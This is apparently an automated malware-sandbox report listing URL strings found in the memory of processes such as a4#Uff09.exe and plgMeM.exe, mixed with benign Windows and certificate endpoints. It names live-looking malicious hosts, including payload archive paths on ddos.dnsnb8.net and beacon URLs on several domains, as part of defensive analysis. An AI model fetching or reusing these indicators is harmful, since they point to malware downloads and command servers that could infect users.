Source: explorer.exe, 00000010.00000003.3079413409.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1363187859.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3905756084.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3079077818.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F83000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: svchost.exe, 0000000D.00000000.1340089578.000001D959FEC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: explorer.exe, 00000010.00000003.3079413409.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1363187859.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3905756084.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3079077818.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F83000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: svchost.exe, 0000000D.00000000.1340089578.000001D959FEC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: SearchApp.exe, 0000001C.00000000.1469212074.000001F49A7D8000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1493216454.000001F49BD00000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: explorer.exe, 00000010.00000003.3079413409.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1363187859.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3905756084.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3079077818.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F83000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: svchost.exe, 0000000D.00000000.1340089578.000001D959FEC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: plgMeM.exe, 00000002.00000003.1283746578.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net/
Source: plgMeM.exe, 00000002.00000003.1283746578.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000003.1283746578.00000000015FA000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.000000000158B000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: plgMeM.exe, 00000002.00000003.1284559369.00000000015CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarC:
Source: plgMeM.exe, 00000002.00000003.1283746578.00000000015E8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarH_
Source: plgMeM.exe, 00000002.00000003.1283746578.00000000015FA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarcC:
Source: plgMeM.exe, 00000002.00000002.1372427561.000000000156E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rart6
Source: plgMeM.exe, 00000002.00000002.1372427561.000000000158B000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar
Source: plgMeM.exe, 00000002.00000002.1372427561.000000000158B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar#
Source: plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar5
Source: plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar6_
Source: plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1373181796.000000000314A000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar
Source: plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar.
Source: plgMeM.exe, 00000002.00000002.1373181796.000000000314A000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rarp
Source: plgMeM.exe, 00000002.00000002.1372427561.000000000158B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rars
Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?20429f27=1117403014
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?4332b898=429245632
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?4332b898=429245632=1
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?533331=32715558
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?533331=32715558p=X%
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?6d8de4fc=-1237871632
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?857b0560=-1319948192
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?8672ff8f=649198938
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?8672ff8f=649198938U0
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?c7498b50=1440522736
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?c7498b50=1440522736-
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?c7498b50=1440522736ages/xs2.jpg?1N
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?d1e2a6=82530276f:
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?d5b4acf9=-672089393
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?d5ec3d20=59338432I1
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?d5ec3d20=59338432r
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?e966c20e=-1137424854
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?e966c20e=-1137424854e
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?f17dfb59=-243401895
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?f6befa40=-1242050048
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?f6befa40=-1242050048U
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?fd7c5cac=-253088760
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?fd7c5cac=-253088760u
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://kukutrustnet777.info/home.gif
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://kukutrustnet777888.info/
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://kukutrustnet777888.info/DisableTaskMgrSoftware
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://kukutrustnet888.info/home.gif
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://kukutrustnet987.info/home.gif
Source: StartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.a.0
Source: StartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.adobe.c.0
Source: StartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.adobe.hoL2
Source: StartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.adora
Source: StartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.ph
Source: svchost.exe, 0000000D.00000000.1340089578.000001D959FEC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3079413409.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1363187859.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3905756084.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3079077818.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277100746.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F83000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: SearchApp.exe, 0000001C.00000000.1469212074.000001F49A7D8000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1493216454.000001F49BD00000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0:
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: SearchApp.exe, 0000001C.00000000.1466332699.000001EC9A5C0000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1493216454.000001F49BD00000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.msocsp.com0
Source: dwm.exe, 00000008.00000000.1282999485.00000262ED790000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://osoft.co_2010-06X
Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://pan.baidu.com/s/1qWKD5ve
Source: SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.live.com/Web/
Source: explorer.exe, 00000010.00000000.1365193048.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000002.4015681668.0000000008810000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000000.1366496914.0000000008820000.00000002.00000001.00040000.00000000.sdmp, RuntimeBroker.exe, 0000001A.00000000.1423268171.00000269817E0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://schemas.micro
Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://whois.pconline.com.cn/ipJson.jsp
Source: explorer.exe, 00000010.00000003.3074572182.000000000C450000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2274022197.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2275143577.000000000C44D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1376298824.000000000C3F7000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?11838a2=36729156
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?11ea3939=-1589902591
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?11ea3939=-1589902591;i
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?1a12e219=1749780580
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?221ae27=321855327
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?2ed8448=294721968
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?3bf8e4d=62885453
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?45a3fb7=730234150
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?47379df=373383515ld
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?4ad8f3=24526015
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?4f9cfd4b=-287901727
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?4f9cfd4b=-287901727L
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?6340f643=-263925937
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?6340f643=-263925937x
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?6d72debd=1805055464
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?71f7cbe=478016248
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?72476109=-460406254
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?72476109=-460406254L
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?72476109=-460406254l
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?96b3ddc7=-243051293
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?98336238=812041328
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?f93bde4c=-681101880
Source: explorer.exe, 00000010.00000000.1363187859.00000000071B2000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.foreca.com
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.klkjwre9fqwieluoi.info/
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.klkjwre9fqwieluoi.info/amsint32.sysGetSystemDirectoryAdrivers
Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://www.youku.com/playlist_show/id_25824322.html
Source: svchost.exe, 0000000C.00000000.1330856720.0000018CE7268000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 0000000C.00000000.1330856720.0000018CE7268000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://%s.xboxlive.com
Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://User-Agent:Mozilla/4.0
Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.com
Source: explorer.exe, 00000010.00000002.4098690958.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F83000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.comt
Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1458791418.000001EC9969A000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
Source: SearchApp.exe, 0000001C.00000000.1464311196.000001EC9A36A000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1458791418.000001EC9969A000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aefd.nelreports.net/api/report?cat=wsb
Source: explorer.exe, 00000010.00000003.3076107312.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277407283.000000000913F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000010.00000003.3076107312.0000000008F09000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000010.00000002.4098690958.0000000008DB0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000010.00000000.1368434403.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3076107312.0000000008F09000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000010.00000000.1363187859.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.0000000007276000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?t
Source: explorer.exe, 00000010.00000003.3076107312.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1368434403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1448603370.000001EC93096000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://arc.msn.com
Source: svchost.exe, 0000000C.00000000.1330856720.0000018CE7268000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.actiP
Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.activity.windows.com
Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.activity.windows.comLimit
Source: explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://bn2-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000D.00000000.1339309323.000001D959F14000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.onenote.net/livetile/?Language=en-GB
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
